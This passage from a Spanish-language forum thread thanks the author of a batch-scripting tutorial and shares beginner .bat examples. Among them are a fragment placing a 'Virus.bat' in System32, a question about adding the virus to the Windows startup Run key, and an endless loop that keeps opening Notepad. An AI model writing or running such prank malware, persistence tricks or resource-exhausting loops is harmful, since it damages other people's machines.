/d C:\Windows\System32\Virus.batespero este bien el aporte sino... me tiro a un pozo D:

saludos :D

LaLo1y2
30/04/2009, 18:07
grax men se agradece

esta muy bueno el tutorial

roblack
30/04/2009, 20:33
se agradece el cursillo!!!

Maybe...
14/05/2009, 00:16
puxas... hasta el capitulo dos iba bien... pero ia el bloc de notas no kizo wardarlo :( soi mui ñoña u.u

velociraptor
18/05/2009, 22:34
Cita:
@echo off
title ejemplo4
color 5e
set/p nombre= ¿como te llamas?
echo.
pause
echo.
set/p edad= ¿y cuantos años tienes?
echo.
pause
echo.
set/p vive= ¿y donde vives?
echo.
pause
cls
color 2f
echo te llamas %nombre% y tienes %edad% años y vives en %vive%
echo.
pause > nul
exit

quiero preguntar algo...
en este ejemplo no seria nesesario poner

set/a edad = ¿y cuantos años tienes?

o me equivoco.



portaliano.... no estas equivocado... pero el autor del tutorial tampoco se equivoca ¿q mierda kiero decir? me explico....:
existen unos datos q se llaman numéricos y alfanuméricos. los datos numéricos, como su palabra lo dice, solamente son NÚMEROS, ej: 1 2 3 8 14 67 195 789 ; y los datos alfanuméricos son letras con numeros (q no se confunda con los numéricos) ¿donde esta la diferencia....? en q con los datos numéricos uno puede realizar operaciones matematicas, pero no asi con los alfanuméricos, los alfanuméricos, en este caso pude ser "hola" o "HOLA" o incluso "H0L4" (vez q aki mezcle numeros con letras, y no tengo problemas con hacerlo)... ahora, ¿por que el autor del tutorial usó set/p y no set/a para la edad? porque el no queria realizar una operación matematica en base a ese numero asiq no cayó en un error.... pero tampoko es un error hacerlo con un set/a, asi q.... se podia hacer de las 2 formas....
q bueno q te dieras cuenta de eso..... es algo q me dice q realmente te interesa este tema y q puedes llegar a aprender mucho.. te felicito... sigue asi..

orenokaze
25/05/2009, 17:25
:bananadance:Exelente aporte c agradece muuxo


kaze:bananadance:http://www.portalnet.cl/comunidad/images/smilies/%28393%29.gif

exmortis
13/08/2009, 22:31
ante todo muchas gracias por los tutoriales, aora quiero hacer un bat para resetear mi router gs8100 pero no se como, hice un bat con estos comandos:

telnet 192.168.1.1
usuario del router
contraseña del router
reboot
exit

cuando lo pruebo solo se ejecuta la primera linea y ahi queda esperando a que ingrese el usuario y contraseña y no hace nada mas.

alguien me ayuda?

OKKULTO
15/08/2009, 13:09
:o excelente aporte compadre ,aprendi harto :D

Gustavo.ts
28/08/2009, 00:27
oie muchas gracias por este manual he aprendido muuxo ya, pero hay algo q no entendi: eso de añadir el virus al RUN, si pudieras poner algun ejemplo o explicarlo mejor estaria muii agradecido, de antemano gracias;)

AfrodisianuS
28/08/2009, 01:47
compadre.....este material esta exelente......algo caxaba de bat pero cn esto me kedo too claro....tiene cierta similitud cn otros lenguajes...
se agradece demasiado
muy weno el tutorial
saludos

shockwave.
31/08/2009, 11:57
@echo off
title Mi primer Programa Starscream
echo.
echo este es mi primer programilla gracias al virox del portalnet
echo.
pause
echo.
echo espero que me haya salido bien soy completamente noob en esto :)
pause > nul
rem eso seria
exit




esta bien ahi? :)

shockwave.
31/08/2009, 12:20
ahora si que si zorron lo lei la wea y seguire practicando... mas adelante mostrare mis avances :)
gracias muchacho!

Mathu♪♫
26/09/2009, 15:37
buen aporte . quiero saver como usar el bucle porque no se como abrirlo , se como aserlo pero para abrir por ejemplo un block de notas o una pagina web como lo ago ?? por favor explicame

albin100
29/09/2009, 19:16
exelente cumpa buen aporte

n1ckusftw
02/10/2009, 14:55
buen aporte wn

El Fin
10/10/2009, 21:15
Herramienta muy poderosa cuando estas en un PC que no es tuyo y no tienes nada bueno al alcance xD.

Un Saludo.

Gustavo.ts
12/10/2009, 01:21
oie mathu ya qe el virox no responde yo te respondo :

si qeri aser un BUCLE con puros bloc de notas deberia qedarte asi


@echo off
:menu
start notepad.exe
goto menu

y listoko, si qieres aser bucles con otros programs solo cambias el nombre del exe y ahi te qeda ;)

demon_carlox
09/12/2009, 02:53
guardado para algun futuro

I L C R I S
09/12/2009, 03:04
cumpa esto está excelente!

se agradece 1000

Gatonegro80
13/01/2010, 01:38
que bueno encontrar cosas asi de interesante compa .. se agradece mucho ....

El.Winni
14/05/2010, 11:08
Wena Vola!

d3imon
01/07/2010, 16:59
gracias..

edge.ed
18/07/2010, 04:20
esto eso solo para aplicaciones de consola?

Aguil@
27/12/2010, 18:53
sapeando !

TrаukФ
09/11/2011, 22:44
Tremendo, pero que entretenido descubrir este interesante mundo del .BAT

Aguil@
30/12/2011, 18:50
Muchas gracias !